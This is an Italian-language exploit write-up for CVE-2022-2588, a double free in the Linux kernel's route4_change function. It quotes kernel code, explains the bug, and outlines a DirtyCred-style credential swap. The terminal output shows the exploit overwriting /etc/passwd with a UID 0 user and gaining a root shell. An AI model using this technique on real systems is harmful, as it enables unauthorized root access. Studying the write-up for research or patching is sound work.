
Codice di exploit per CVE-2022-2588
Il bug è stato corretto in Linux v5.19 con questo commit.
Il bug è stato introdotto in Linux v3.17 con questo commit nel 2014. Richiede User Namespaces per essere attivato. Questo bug è molto simile a CVE-2021-3715, causato da operazioni improprie sulla lista concatenata di route4_filter. Maggiori dettagli su CVE-2021-3715 sono disponibili nel talk del BlackHat (pagina 16). Di seguito sono riportati alcuni brevi dettagli su CVE-2022-2588.
Di seguito sono mostrati alcuni importanti frammenti di codice della funzione route4_change per comprendere CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
La funzione è implementata per inizializzare/sostituire l'oggetto route4_filter. Il filtro usa handle come ID univoco per distinguere tra i vari filtri. Se esiste un handle già inizializzato (cioè la variabile fold non è nulla), aggiornerà il filtro rimuovendo il vecchio filtro e aggiungendone uno nuovo; altrimenti, aggiungerà semplicemente un nuovo filtro.
In [0], il kernel alloca l'oggetto route4_filter. In [1], se fold non è vuoto, cioè esiste un filtro con lo stesso handle, copia alcune informazioni nel nuovo filtro e lo inizializza in [2], quindi inserisce il nuovo filtro nella lista in [3]. Se il vecchio filtro esiste, viene rimosso dalla lista in [4] e liberato in [6].
Il bug si verifica in [4], che controlla se esiste un vecchio filtro da rimuovere. La condizione impone che l'handle non sia zero e che corrisponda all'handle del nuovo filtro. Questa condizione non è allineata con la condizione per liberare il filtro in [6], che controlla solo se il vecchio filtro esiste. Pertanto, se un utente crea un filtro con handle 0 e ne attiva poi la sostituzione, il filtro non verrà rimosso dalla lista in [4] ma verrà liberato in [6], poiché le condizioni non coincidono.
Poiché questo bug è simile a CVE-2021-3715, le loro primitive sono quasi le stesse. I lettori possono fare riferimento al talk del BlackHat per una descrizione più dettagliata delle primitive. Questo write-up mostra lo sfruttamento utilizzando l'idea di DirtyCred.
Poiché il fold liberato è ancora nella lista concatenata dopo l'attivazione del bug, possiamo liberare fold una seconda volta, causando infine un doppio free sull'oggetto route4_filer e sull'oggetto route4_filter->exts.action se CONFIG_NET_CLS_ACT è abilitato.
I codici dello sfruttamento utilizzano queste due capacità di doppio free per dimostrare l'attacco sulle credenziali di processo (utilizzando doppio free in kmalloc-192, in arrivo) e sulle credenziali di file aperti (utilizzando doppio free in kmalloc-256).
Seguendo l'idea di DirtyCred, il codice dello sfruttamento scambia le credenziali del file dopo i controlli di permesso, consentendoci di scrivere qualsiasi contenuto su file con permessi di sola lettura. Idealmente, il codice può funzionare su tutte le versioni del kernel affette dal bug. Si noti che, per garantire il funzionamento su kernel più vecchi dove msg_msg è isolato in kmalloc-rcl-*, lo sfruttamento utilizza un oggetto spray diverso.
[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
Lo sfruttamento è stato scritto per funzionare sul maggior numero possibile di distribuzioni. È stato confermato funzionante su:
Effettua il login con utente low e password low